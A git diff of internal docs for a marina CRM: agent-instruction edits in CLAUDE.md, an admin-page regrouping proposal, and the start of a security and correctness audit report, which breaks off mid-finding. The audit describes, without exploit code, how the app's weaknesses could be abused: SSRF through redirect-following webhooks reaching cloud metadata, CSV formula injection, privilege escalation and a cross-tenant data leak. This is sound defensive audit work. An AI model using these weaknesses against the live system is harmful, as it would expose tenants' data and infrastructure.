diff --git a/CLAUDE.md b/CLAUDE.md index 272636f5..f957e925 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -57,7 +57,8 @@ Reach for these before grinding through tasks manually: - `Explore` for any codebase search that would take > 3 queries - `feature-dev:code-explorer` / `code-architect` / `code-reviewer` for new feature work - **Doctrine**: skills override default behavior except user instructions in this file. If a CLAUDE.md rule conflicts with a skill, this file wins. -- **Manual UAT — single master doc**: all multi-day Playwright + React Grab UAT findings go into `docs/superpowers/audits/alpha-uat-master.md` (the cross-cutting "alpha" audit that spans many sessions). Append to it as findings land in chat — don't create per-day files. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged), Cross-references to the active full-codebase audit. Don't ask for the format each time. +- **Pre-launch tracker**: `docs/launch-readiness.md` is the master pre-launch tracker for the beta phase. Append every launch-blocking initiative or sub-task there with status tags (`OPEN | IN PROGRESS | SHIPPED in | BLOCKED | DEFERRED`). Read it at the start of any non-trivial task. +- **Manual UAT — currently active doc**: `docs/superpowers/audits/active-uat.md` is the **live** findings doc. Every UAT finding the user surfaces in chat lands here regardless of which session captures it. Persists across sessions until the user explicitly says to wrap the round and archive — at which point rename to `YYYY-MM-DD-uat.md` and start a fresh `active-uat.md`. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged). Tag every entry with status: `OPEN | IN PROGRESS | SHIPPED in | QUEUED | BLOCKED`. Don't ask the format each time. ## Tech stack (non-obvious choices) @@ -209,10 +210,30 @@ Vitest covers unit + integration with mocked externals (`tests/unit/`, `tests/in Numbered specs (`01-CONSOLIDATED-SYSTEM-SPEC.md` … `15-DESIGN-TOKENS.md`) in repo root carry the detailed architecture decisions, schema docs, API catalog, and sequence. -Active plans of record under `docs/`: +### Beta-phase tracker (read this first) + +We are in pre-launch beta. **`docs/launch-readiness.md` is the canonical +home for every outstanding initiative we need to ship before +production cutover.** Read it at the start of any non-trivial task to +see what's in flight, what's blocked, and what's been deferred. Append +new launch-blocking items there (status tags: `OPEN | IN PROGRESS | +SHIPPED in | BLOCKED | DEFERRED`) — do NOT create a new +parallel audit doc. Companion files: + +- `docs/launch-readiness.md` — the master pre-launch tracker (5+ + initiatives: reports overhaul, marketing pipeline cutover, invoicing + audit, codebase + security audit, website integration, e2e testing, + data migration) +- `docs/reports-content-spec.md` — working spec for the reports + initiative (per-category KPIs / charts / tables); referenced by + `launch-readiness.md` Initiative 1 +- `docs/superpowers/audits/active-uat.md` — live UAT findings the user + surfaces in chat; persists across sessions until explicit wrap +- `docs/BACKLOG.md` — long-tail backlog index (post-launch and + general) + +### Domain reference docs -- `docs/MASTER-PLAN-2026-05-18.md` — current 7-phase post-audit plan -- `docs/BACKLOG.md` — single entry point for everything outstanding - `docs/berth-recommender-and-pdf-plan.md` — berths + PDF + send-outs bundle - `docs/eoi-documenso-field-mapping.md` — canonical EoiContext ↔ Documenso/AcroForm mapping - `docs/documenso-integration-audit.md` — full Documenso v1/v2 quirks reference diff --git a/docs/BACKLOG.md b/docs/BACKLOG.md index 06ca08aa..f3f17701 100644 --- a/docs/BACKLOG.md +++ b/docs/BACKLOG.md @@ -14,7 +14,16 @@ Documenso phases 2-7 stay back-burnered per user. --- -## A. Documenso build (deferred for later) +## A. Documenso build (MOSTLY SHIPPED — see note) + +> **Stale-doc fix (2026-06-01):** a feature-completeness sweep confirmed +> the core of phases 2–7 has since shipped and is wired — cascading +> "your turn" invites (Phase 2), custom doc upload-to-signing (Phase 3, +> `custom-document-upload.service.ts` + `/api/v1/interests/[id]/upload-for-signing`), +> the field-placement UI (Phase 4, `upload-for-signing-dialog.tsx`), and +> Project Director user-linking (Phase 7). The integration is treated as +> feature-complete. The phase table below is kept for history; re-verify +> the Phase 5/6 polish line-items individually before relying on them. **Source:** [`docs/documenso-build-plan.md`](./documenso-build-plan.md) — full phase plan with locked decisions (Q1–Q10). **Tracker delta:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) — what landed in Phase 1. diff --git a/docs/admin-ia-proposal.md b/docs/admin-ia-proposal.md new file mode 100644 index 00000000..241e1e1b --- /dev/null +++ b/docs/admin-ia-proposal.md @@ -0,0 +1,415 @@ +# Admin IA — Audit + Proposed Regrouping + +**Status:** Phase 1 (proposal + decisions) — captured 2026-05-22 from B3 #10. Open questions resolved in section 7; final IA reflected in section 8. Phase 2 (execution) is mechanical from here. + +## Resolved decisions (2026-05-22) + +User answered the 5 open questions from section 7: + +1. **Forms + Document Templates** → moved to **Sales workflow** (not "Content"). Both are workflow inputs, not abstract content. +2. **Webhooks** → keep as its own thing; **new "Integrations" domain** is the right home (Webhooks + Documenso + Website analytics + AI all belong together as "external system + provider config"). +3. **AI configuration** → keep a dedicated `/admin/ai` panel that consolidates every AI feature in one place; lives under the new **Integrations** domain. +4. **`/admin/reports`** → **DELETE entirely** (confirmed duplicative — the dashboard already renders Pipeline funnel + Berth occupancy + KPI cards via widgets). Redirect to `/[portSlug]/dashboard`. +5. **`/admin/settings`** (generic KV editor) → keep visible to all admins under System & observability. + +**Net effect:** 7 domains instead of 6; 3 pages deleted (ocr, invitations, reports) instead of 2. Final IA in section 8. + +--- + +**Goal:** today's 41 admin pages are organically grown and discoverability is poor (test-email lives on Branding, an SMTP test on Email, an OCR-settings duplicate exists on both `/admin/ai` and `/admin/ocr`, etc.). Below: page-by-page inventory + a recommended IA in 6 domains. + +**Out of scope here:** the actual file moves, route redirects, and nav updates. That's Phase 2 (~4–6h once the IA below is locked). + +--- + +## 1. Page-by-page inventory (current state, 41 pages) + +Sorted alphabetically. Each row: what the page renders today + its current admin-sections-browser group. + +| Route | What it renders | Current group | +| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- | +| `/admin` | `` — landing tile grid grouped into 5 categories | — | +| `/admin/ai` | `` (ai master controls + provider credentials) + `` + AI-suggestions card | Operations | +| `/admin/audit` | `` — full mutation log search | Data Quality | +| `/admin/backup` | `` — backup posture (read-only) | Operations | +| `/admin/berths/bulk-add` | `` — generate berth rows in bulk | (not in landing browser) | +| `/admin/berths/reconcile` | `` — review berths missing required fields | (not in landing browser) | +| `/admin/branding` | `` (identity) + email branding form + `` + `` | Configuration | +| `/admin/brochures` | `` — upload/version port brochures | (not in landing browser) | +| `/admin/custom-fields` | `` — per-entity custom-field definitions | Content | +| `/admin/documenso` | `` (api creds, signers, templates, behavior) + `` + `` + `` | Configuration ("EOI signing service") | +| `/admin/duplicates` | `` — suspected-duplicate clients | Data Quality | +| `/admin/email` | `` (from address + smtp) + `` + `` (new) + `` + `` | Configuration | +| `/admin/email-templates` | `` — subject-line overrides per transactional template | Content | +| `/admin/errors` | error-event list (system errors) | (not in landing browser) | +| `/admin/errors/codes` | error-code catalog reference | (not in landing browser) | +| `/admin/errors/[requestId]` | single error-event detail | (not in landing browser) | +| `/admin/forms` | `` — public inquiry/intake form schemas | Content | +| `/admin/import` | CSV import wizard | Data Quality ("Bulk Import") | +| `/admin/inquiries` | `` — public-site submissions awaiting triage | Data Quality | +| `/admin/invitations` | (empty body — comment says merged into `/admin/users` 2026-05-21) | (not in landing browser) | +| `/admin/monitoring` | `` — BullMQ queue health | Operations | +| `/admin/monitoring/[queueName]` | `` — single-queue drill-down | (not in landing browser) | +| `/admin/ocr` | `` — **DUPLICATES the same form on `/admin/ai`** | (not in landing browser) | +| `/admin/onboarding` | `` — cross-page setup checklist for new ports | Operations | +| `/admin/pipeline-rules` | per-trigger berth-rules editor + `` | Configuration ("Pipeline auto-advance") | +| `/admin/ports` | `` — manage marinas (super-admin only) | Operations | +| `/admin/pulse` | `` — pulse chip tuning | Configuration | +| `/admin/qualification-criteria` | `` — lead-qualification rubric | Operations | +| `/admin/reminders` | `` | Configuration | +| `/admin/reports` | `` — saved analytics + ad-hoc queries | Operations | +| `/admin/residential-stages` | `` + stage-template registry form | Operations | +| `/admin/roles` | `` — role/permission matrix | Access | +| `/admin/sends` | `` — brochure + per-berth PDF send retries | Data Quality | +| `/admin/settings` | `` — generic system_settings KV editor (escape hatch) | Configuration ("System Settings") | +| `/admin/storage` | `` — storage backend selector + migration | Operations | +| `/admin/tags` | `` — color-coded tags per entity | Content | +| `/admin/templates` | `` — PDF + email document templates (merge-field-driven) | Content | +| `/admin/templates/[id]/editor` | per-template editor (PDF + email body) | (not in landing browser) | +| `/admin/users` | `` + `` (tabs, merged 2026-05-21) | Access | +| `/admin/vocabularies` | `` — admin-editable enum lists | Content | +| `/admin/webhooks` | `` + `` + `` | Configuration | +| `/admin/website-analytics` | Umami creds form + `` | Operations | + +--- + +## 2. Issues identified + +### 2.1 Duplicates + +1. **`/admin/ocr` duplicates `/admin/ai`** — same `` is mounted on both. The AI page is the source of truth (it also has the master AI switch + provider creds + AI-suggestions config). **Recommendation: delete `/admin/ocr`** + add a redirect. +2. **`/admin/invitations` is dead** — the page body is empty (per the comment, merged into `/admin/users` 2026-05-21). **Recommendation: delete the route** + add a redirect to `/admin/users?tab=invitations`. + +### 2.2 Misplaced cards + +1. **`` is on Branding but tests email rendering** — overlap with the new per-template tester on `/admin/email`. **Recommendation: KEEP on Branding** (it's a one-click "does the email LOOK right with current logo/colors?" affordance — that's a branding-validation concern, not a delivery test). Add a sibling link "→ Test individual templates" pointing at `/admin/email`. +2. **`` is on `/admin/email`** — correct home, but it's structurally identical to the noreply SMTP card above it (just a second mailbox). **Recommendation: keep but reformat** so both mailboxes are in matching cards stacked, with a shared "Test send" footer per mailbox. +3. **`` is on `/admin/email`** — actually it's a routing-rule editor (when X event fires, route through Y mailbox). Conceptually closer to a workflow rule than a credentials setting. **Recommendation: keep on Email** for now (the routing IS about email plumbing) but cross-link from Workflows since changing the rule changes behaviour. + +### 2.3 Inconsistent naming + +1. **"Documenso & EOI"** page title implies EOI lives separately — but EOI generation is one of multiple Documenso flows. **Recommendation: rename to "Signing service (Documenso)"**. +2. **"Bulk Import"** vs `/admin/import` — fine, but the page should explicitly say "Data import" (matches the page title ``). +3. **"Send Log"** vs `/admin/sends` — fine; consider renaming the route slug to `/admin/send-log` for clarity, but that costs cross-references. + +### 2.4 Pages not in the admin-sections-browser tile grid + +A bunch of pages exist as routes but aren't surfaced on `/admin`: + +- `/admin/berths/bulk-add`, `/admin/berths/reconcile` — only reachable from deep links inside the Berths page +- `/admin/brochures` +- `/admin/email-templates`, `/admin/tags`, `/admin/vocabularies`, `/admin/custom-fields`, `/admin/forms` — actually these ARE in the browser under "Content", verified +- `/admin/qualification-criteria`, `/admin/residential-stages` — under Operations +- `/admin/errors`, `/admin/errors/codes`, `/admin/errors/[requestId]` +- `/admin/ocr` (duplicate, recommended for deletion) +- `/admin/invitations` (dead, recommended for deletion) + +**Recommendation:** surface every active page on `/admin` (no hidden surfaces — discoverability matters for admins). Move `/admin/berths/bulk-add` + `/admin/berths/reconcile` to a new "Berths admin" landing card. + +### 2.5 Categories that don't quite fit + +- **"Content"** is doing too much heavy lifting — it lumps tag color picker (visual), vocab enum lists (config), form templates (workflow), and document templates (mail merge). These are all things admins _tune_ but their cognitive shape is different. +- **"Data Quality"** mixes inbound queues (Inquiry Inbox) with cleanup utilities (Duplicates, Bulk Import) — those serve different daily-workflows. +- **"Operations"** is the catch-all for "anything observability or infra-shaped" but also has things that are pure setup (AI configuration, residential pipeline stages). + +--- + +## 3. Proposed IA — 6 domains, 38 pages + +Two pages deleted (`/admin/ocr`, `/admin/invitations`), one moved out of admin entirely (`/admin/reports` — see below), one new sub-area (`/admin/berths`). Net page count: 41 → 38. + +### Domain 1. **Brand & Communication** (5 pages) + +_Everything about how outbound looks + which channel it ships on._ + +| Page | Action | Notes | +| ------------------------ | -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | +| `/admin/branding` | KEEP | Logo, colors, app name, email header/footer HTML, the visual "does it look right?" tester. | +| `/admin/email` | KEEP | SMTP creds (noreply + sales), routing, per-template tester, SMTP connectivity probe. | +| `/admin/email-templates` | KEEP | Subject-line overrides per transactional template. Stays separate from `/admin/email` because the audience is "copywriter" vs "ops". | +| `/admin/documenso` | RENAME → "Signing service" | API creds, signer identities, templates, behaviour. Page title currently says "Documenso & EOI" — drop "& EOI" (EOI is one of many doc types). | +| `/admin/webhooks` | KEEP | Outbound webhook subscriptions + delivery log. Sits here because webhooks are an outbound-comms channel, same conceptual bucket as email. | + +### Domain 2. **Sales workflow** (7 pages) + +_How the pipeline behaves end-to-end — triggers, scoring, templates._ + +| Page | Action | Notes | +| ------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------- | +| `/admin/pipeline-rules` | KEEP | Berth-rules engine triggers + auto-advance. | +| `/admin/pulse` | KEEP | Deal Pulse chip tuning. | +| `/admin/reminders` | KEEP | Default reminder behaviour + digest window. | +| `/admin/qualification-criteria` | MOVE FROM "Operations" → here | Lead-qualification rubric — clearly a sales-workflow concern. | +| `/admin/residential-stages` | MOVE FROM "Operations" → here | Residential pipeline shape. Same domain as the standard pipeline rules. | +| `/admin/forms` | MOVE FROM "Content" → here | Form templates drive lead intake — workflow input, not "content". | +| `/admin/templates` | MOVE FROM "Content" → here | Document templates carry merge fields tied to the pipeline (EOI, reservation, contract). These ARE pipeline artefacts. | + +### Domain 3. **Catalog** (4 pages) + +_Tenant-defined data shapes — values that get attached to records._ + +| Page | Action | Notes | +| ---------------------- | -------------------------- | ---------------------------------------------------------------------------- | +| `/admin/vocabularies` | KEEP | Admin-editable enum lists (berth_side_pontoon_options, lead_category, etc.). | +| `/admin/tags` | KEEP | Color tags. | +| `/admin/custom-fields` | KEEP | Per-entity field definitions. | +| `/admin/brochures` | MOVE FROM ungrouped → here | Brochure assets are catalog artefacts (per-port versioned PDFs). | + +### Domain 4. **Identity & access** (3 pages) + +_Who can use the system and what they can do._ + +| Page | Action | Notes | +| -------------- | ------ | -------------------------------------------- | +| `/admin/users` | KEEP | Active users + invitations (already merged). | +| `/admin/roles` | KEEP | Role/permission matrix. | +| `/admin/ports` | KEEP | Super-admin only; per-port management. | + +### Domain 5. **Inbox & data quality** (6 pages) + +_Stuff that lands in admin queues + tools to clean up data._ + +| Page | Action | Notes | +| ------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------- | +| `/admin/inquiries` | KEEP | Public-site form submissions. | +| `/admin/sends` | KEEP | Brochure + per-berth-PDF send retries. | +| `/admin/duplicates` | KEEP | Suspected-duplicate review queue. | +| `/admin/import` | KEEP | CSV imports. | +| `/admin/berths` | NEW INDEX | Landing page that surfaces the two berth-admin tools below. | +| `/admin/berths/bulk-add` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Bulk berth row generator. | +| `/admin/berths/reconcile` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Berth-pdf reconciliation queue. | + +(Counted as one Berths entry on the landing tile + the two existing routes as sub-pages.) + +### Domain 6. **System & observability** (10 pages) + +_Infra, observability, escape hatches._ + +| Page | Action | Notes | +| ------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- | +| `/admin/audit` | KEEP | Mutation audit log. | +| `/admin/monitoring` | KEEP | BullMQ queue health. | +| `/admin/monitoring/[queueName]` | KEEP | Single-queue detail. | +| `/admin/errors` | SURFACE on landing | Error-event list (currently hidden from `/admin` tile grid). | +| `/admin/errors/codes` | KEEP as sub-page | Linked from `/admin/errors`. | +| `/admin/errors/[requestId]` | KEEP as sub-page | Linked from `/admin/errors`. | +| `/admin/backup` | KEEP | Backup posture. | +| `/admin/storage` | KEEP | Storage backend selector + migration. | +| `/admin/website-analytics` | KEEP | Umami creds. | +| `/admin/ai` | KEEP | AI config (master switch, providers, OCR settings, suggestions). | +| `/admin/settings` | KEEP | Generic KV editor (escape hatch for advanced flags). Stays in this domain because it's an admin-debug surface, not a normal-day setting. | +| `/admin/onboarding` | KEEP, FLOATS | Cross-cutting setup checklist. Stays accessible from `/admin` landing but doesn't belong in any single domain — it links to many. | + +### Out of admin entirely + +| Page | Action | Rationale | +| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `/admin/reports` | MOVE OUT → `/[portSlug]/reports` | Reports are an end-user feature, not admin config. Today it lives in admin only because it's permission-gated; should be a top-level nav item with the same permission gate. Defer to a follow-up; for the IA pass, just stop surfacing it on `/admin`. | + +### Deleted + +| Page | Action | Rationale | +| -------------------- | ----------------------------- | -------------------------------------------- | +| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`. | +| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; functionality merged 2026-05-21. | + +--- + +## 4. Misplaced cards / sub-section moves + +These are smaller-grained moves _within_ the new IA — cards that should change page even though the routes stay put. + +1. **`` (currently on `/admin/branding`)** → KEEP on Branding (visual brand check); add a "→ Test individual templates" link pointing at `/admin/email#test-template`. +2. **`` (currently on `/admin/email`)** → KEEP on Email; cross-link from a "Routing rules" subsection of the new Workflow domain. +3. **`` (currently on `/admin/documenso`)** → KEEP; consider surfacing duplicate on `/admin/templates` (since "Sync from Documenso" populates template IDs there). +4. **``** → consider exposing a slim version as a banner on `/admin` landing for ports that haven't completed setup. + +--- + +## 5. Proposed `/admin` landing tile groups + +The `admin-sections-browser.tsx` array should be rebuilt to match the 6 domains above. Sketch: + +```ts +const SECTIONS: AdminSection[] = [ + { + title: 'Brand & Communication', + description: 'How outbound looks and which channels it ships on.', + items: ['branding', 'email', 'email-templates', 'documenso', 'webhooks'], + }, + { + title: 'Sales workflow', + description: 'Pipeline behaviour, scoring, document + form templates.', + items: [ + 'pipeline-rules', + 'pulse', + 'reminders', + 'qualification-criteria', + 'residential-stages', + 'forms', + 'templates', + ], + }, + { + title: 'Catalog', + description: 'Tenant-defined enums, tags, custom fields, and brochures.', + items: ['vocabularies', 'tags', 'custom-fields', 'brochures'], + }, + { + title: 'Identity & access', + description: 'Who can use the system and what they can do.', + items: ['users', 'roles', 'ports'], + }, + { + title: 'Inbox & data quality', + description: 'Admin queues + cleanup tools.', + items: ['inquiries', 'sends', 'duplicates', 'import', 'berths'], + }, + { + title: 'System & observability', + description: 'Infra, observability, escape hatches.', + items: [ + 'audit', + 'monitoring', + 'errors', + 'backup', + 'storage', + 'website-analytics', + 'ai', + 'settings', + ], + }, +]; +``` + +Onboarding checklist surfaces above the grid (or as a banner on incomplete ports), not as a tile. + +--- + +## 6. Phase 2 execution plan (~4–6h) + +Once the above IA is approved (or amended), the migration is mechanical: + +1. **Update `admin-sections-browser.tsx`** to the 6-domain shape above. (~30 min) +2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min) +3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min) +4. **Rename "Documenso & EOI"** → "Signing service" (page title + landing label). (~5 min) +5. **Create `/admin/berths/page.tsx`** index that surfaces bulk-add + reconcile. (~30 min) +6. **Move `/admin/reports` out of admin** — touches sidebar nav + landing browser + permission docs. Defer to its own task if scope creeps. (~1h) +7. **Cross-link cards** per section 4 (EmailPreviewCard → /admin/email link, etc.). (~30 min) +8. **Smoke pass** — click every tile, confirm every page loads, every redirect lands. (~30 min) +9. **Audit doc update** — mark B3 #10 SHIPPED in `alpha-uat-master.md`. (~10 min) + +Total: ~4 h plus ~1 h for the Reports move if we include it. + +--- + +## 7. Open questions (resolved) + +| # | Question | Decision | +| --- | ---------------------------------------- | ------------------------------------------------------------------------------- | +| 1 | Forms + Document Templates placement | Moved to **Sales workflow** (not Content) | +| 2 | Webhooks placement | **New "Integrations" domain** (webhooks + documenso + website-analytics + ai) | +| 3 | AI configuration placement | Keep dedicated `/admin/ai` panel; lives under **Integrations** | +| 4 | `/admin/reports` | **DELETE entirely** (duplicates dashboard); redirect to `/[portSlug]/dashboard` | +| 5 | `/admin/settings` (KV editor) visibility | Keep visible to all admins under **System & observability** | + +--- + +## 8. Final IA — 7 domains, 38 pages + +After resolutions. Three pages deleted (`/admin/ocr`, `/admin/invitations`, `/admin/reports`); one new sub-area (`/admin/berths` index); one new domain (Integrations) split out from Brand & Communication. + +### Domain 1. **Brand & Communication** (3 pages) + +_How outbound LOOKS — visual and copy._ + +- `/admin/branding` — logo, colors, app name, email shell HTML, EmailPreviewCard (visual check) +- `/admin/email` — SMTP creds (noreply + sales), routing, per-template tester, SMTP probe +- `/admin/email-templates` — subject-line + copy overrides per transactional template + +### Domain 2. **Sales workflow** (7 pages) + +_How the pipeline BEHAVES — triggers, scoring, templates._ + +- `/admin/pipeline-rules` — berth-rules engine + auto-advance +- `/admin/pulse` — Deal Pulse chip tuning +- `/admin/reminders` — default behaviour + digest +- `/admin/qualification-criteria` — lead-scoring rubric +- `/admin/residential-stages` — residential pipeline shape +- `/admin/forms` — lead intake form templates (moved from Content) +- `/admin/templates` — document templates with merge fields (moved from Content) + +### Domain 3. **Catalog** (4 pages) + +_Tenant-defined data shapes that attach to records._ + +- `/admin/vocabularies` — admin-editable enum lists +- `/admin/tags` — color tags +- `/admin/custom-fields` — per-entity field definitions +- `/admin/brochures` — per-port versioned PDF assets + +### Domain 4. **Identity & access** (3 pages) + +- `/admin/users` — active users + invitations (merged) +- `/admin/roles` — role/permission matrix +- `/admin/ports` — super-admin only, per-port management + +### Domain 5. **Inbox & data quality** (5 pages, 1 sub-index) + +_Admin queues + cleanup tools._ + +- `/admin/inquiries` — public-site submissions +- `/admin/sends` — outbound send retry log +- `/admin/duplicates` — duplicate-client review queue +- `/admin/import` — CSV imports +- `/admin/berths` — **NEW** index page surfacing the two existing sub-tools: + - `/admin/berths/bulk-add` (bulk row generator) + - `/admin/berths/reconcile` (berth-pdf reconciliation queue) + +### Domain 6. **Integrations** (4 pages) — NEW DOMAIN + +_External-system + provider configuration._ + +- `/admin/documenso` — signing service (rename from "Documenso & EOI" → "Signing service") +- `/admin/webhooks` — outbound subscriptions + delivery log +- `/admin/website-analytics` — Umami creds +- `/admin/ai` — dedicated AI panel consolidating master switch + provider creds + OCR settings + AI-suggestions config + +### Domain 7. **System & observability** (7 pages + 1 floating) + +_Infra, observability, escape hatches._ + +- `/admin/audit` — mutation audit log +- `/admin/monitoring` — BullMQ queue health (+ `/admin/monitoring/[queueName]` sub-page) +- `/admin/errors` — error-event list (+ `/admin/errors/codes` + `/admin/errors/[requestId]`) +- `/admin/backup` — backup posture +- `/admin/storage` — storage backend selector + migration +- `/admin/settings` — generic KV editor (escape hatch) +- `/admin/onboarding` — cross-cutting setup checklist (floats above the grid for incomplete ports) + +### Deleted + +| Page | Action | Rationale | +| -------------------- | -------------------------------------- | ---------------------------------------------------- | +| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`'s OcrSettingsForm | +| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; merged into `/admin/users` on 2026-05-21 | +| `/admin/reports` | DELETE + 301 → `/[portSlug]/dashboard` | Three widgets all already on the dashboard | + +--- + +## 9. Phase 2 execution plan (~4-5 h) + +Updated to reflect the resolved decisions. Reports move-out becomes a delete (simpler). + +1. **Update `admin-sections-browser.tsx`** to the 7-domain shape above. (~45 min — 7 groups, ~30 tiles) +2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min) +3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min) +4. **Delete `/admin/reports`** + add `redirect()` to `/[portSlug]/dashboard`. (~10 min) + remove from sidebar nav + landing browser. (~15 min) +5. **Rename `/admin/documenso`** page title → "Signing service" (page title + landing tile label). (~5 min) +6. **Create `/admin/berths/page.tsx`** index page surfacing bulk-add + reconcile sub-tools. (~30 min) +7. **Cross-link ``** on Branding to add a "→ Test individual templates" link pointing at `/admin/email#test-template`. (~10 min) +8. **Smoke pass** — click every tile on the new `/admin` landing, confirm every page loads, every redirect lands. (~30 min) +9. **Update `alpha-uat-master.md`** Bucket 3 #10 → SHIPPED with this proposal's commit hash. (~5 min) + +Total: ~3.5-4 h. diff --git a/docs/audits/2026-06-02/findings-master.md b/docs/audits/2026-06-02/findings-master.md new file mode 100644 index 00000000..668ce468 --- /dev/null +++ b/docs/audits/2026-06-02/findings-master.md @@ -0,0 +1,697 @@ + + +# Port Nimara CRM — Unified Master Audit Report + +_Consolidation of pass 1+2 (`audit-master.md`) and pass 3 (`audit-pass3-master.md`). Findings are merged and deduped, then renumbered sequentially within each severity tier. No new findings were introduced; every distinct source finding is preserved._ + +--- + +## 1. Executive Summary + +This unified report combines two audit synthesis passes covering all 17 lanes plus the pass-1 routing/API confirmation set. Pass 1+2 completed 6 lanes (financial, cross-entity, import, webhook, residential/tenancies, plus pass-1 routing/API) and rate-limited the other 11; pass 3 re-ran those 11 (plus an additional surface) and returned findings. Together they give full lane coverage. + +The dominant theme across both passes is **server-side enforcement and money/state-correctness gaps that the UI papers over**: a deposit gate that compares across currencies _and_ auto-marks berths Sold, a disabled module that still accepts writes, berth-rule triggers that flip inventory to "Sold" on lost/cancelled deals, an SSRF allowlist defeated by HTTP redirects, client-merge that silently drops payments/ownership, and several rate limiters defined but never applied. Almost none require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port (cross-tenant impact mostly latent until a second port is provisioned). + +### Counts by severity (true deduped) + +| Severity | Count | +| --------- | ------------------------ | +| CRITICAL | 4 | +| HIGH | 17 | +| MEDIUM | 29 | +| LOW | 35 | +| **Total** | **85 distinct findings** | + +_Derivation (counting the actual numbered entries in each source doc, several of which bundle sub-items): pass 1+2 = C3 / H6 / M11 / L12 = **32**; pass 3 = C1 / H13 / M18 / L23 = **55**; union = 87, minus two merges (the cross-pass deposit-currency duplicate, and the within-pass-3 AI rate-limit + budget pair) = **85**. (Note: each source doc's own headline subtotal — 29 and 48 — under-reported its physical entry count by folding some bundled items; this unified count is computed from the actual entries preserved here.)_ + +### Top fixes before launch + +**Critical (all four):** + +- **C1 — Cross-currency deposit gate auto-marks berths Sold.** Deposit total sums all currencies as bare scalars vs a single-currency expectation, then auto-advances and fires the `deposit_received` rule → berth "Sold" off an underpaid/wrong-currency deposit. _(Merged pass1+2 C1 + pass3 H3.)_ +- **C2 — Lost/cancelled deals auto-flip the berth to "Sold."** `setInterestOutcome` fires `interest_completed` for every outcome; the outcome-blind rule defaults to `sold`, corrupting public marketing + inventory. +- **C3 — Residential module-disabled state never enforced on the v1 API.** Admin disables Residential, but all 13 `/api/v1/residential/**` routes skip any module gate; writes (incl. partner-forward emails) still go through. +- **C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`.** Every tracked link in outbound mail 302-redirects external recipients to `/login` — all tracked links are dead. + +**Most serious HIGHs:** + +- **H1 — Webhook `fetch` follows redirects, defeating the SSRF allowlist** → full SSRF read primitive against cloud metadata with exfiltration via the deliveries UI. +- **H2 — Client merge skips payments + polymorphic ownership** → survivor loses memberships/yachts/invoices/payments; sets up H3 cascade-delete. +- **H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments** → silent destruction of the survivor's financial history. +- **H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`)** → premature "Sold" one-to-two stages early. +- **H5 — Yacht archive/restore falsifies the ownership-history ledger** → permanent corruption of the legal ownership audit trail. +- **H6 — Dashboard reports title-case berth status that never matches canonical** → leadership PDF silently reports 0 sold / understated occupancy. +- **H7 — Residential notes feature fully broken (wrong API URL in NotesList)** → every notes CRUD 404s; UI silently shows "No notes yet." +- **H8 — `residentialAccess` toggle bypasses caller-superset check** → privilege escalation granting residential CRUD the caller doesn't hold. +- **H9 — AI email-draft spends OpenAI tokens with no rate limit and no budget gate** → an authed rep can loop to drain the per-port budget. +- **H10 — CSV formula injection in expense + audit-log exports** → RCE/exfil on an admin's machine when opening the export. +- **H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`** → another tenant's logo + port name rendered onto a report PDF cover. + +--- + +## 2. Findings + +### CRITICAL + +#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing the pipeline and auto-marking berths Sold _(merged: pass1+2 C1 + pass3 H3)_ + +`src/lib/services/payments.service.ts:40-70,130-132` + `src/lib/db/schema/interests.ts:64-65` +The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration in `getDepositTotalForInterest`) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit. +**Fix:** Filter the sum to `payments.currency = interest.depositExpectedCurrency` (or normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing); reject or require manual confirmation when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9** + +#### C2 — Lost/cancelled deals auto-flip the berth to "Sold" (public marketing + inventory corruption) + +`src/lib/services/interests.service.ts:1407` + `src/lib/services/berth-rules-engine.ts:38-45,89-198` +_(Reported independently by the Sales-pipeline and Berth-subsystem lanes — same root cause, merged within pass 3.)_ `setInterestOutcome` fires `evaluateRule('interest_completed', …)` unconditionally for **every** non-null outcome (`won | lost_other_marina | lost_unqualified | lost_no_response | cancelled`). The engine never inspects `interest.outcome`; the default rule is `{ mode:'auto', targetStatus:'sold' }`, so it blindly sets the primary berth `status='sold'`. The inline comment claiming admins can "scope per outcome via system*settings.berth_rules" is aspirational — `getRulesConfig`/`evaluateRule` have no outcome dimension. A rep marking a deal lost or cancelled silently sets the berth to **Sold** on the public site (`derivePublicStatus` ranks Sold highest), removes it from the recommender (`b.status <> 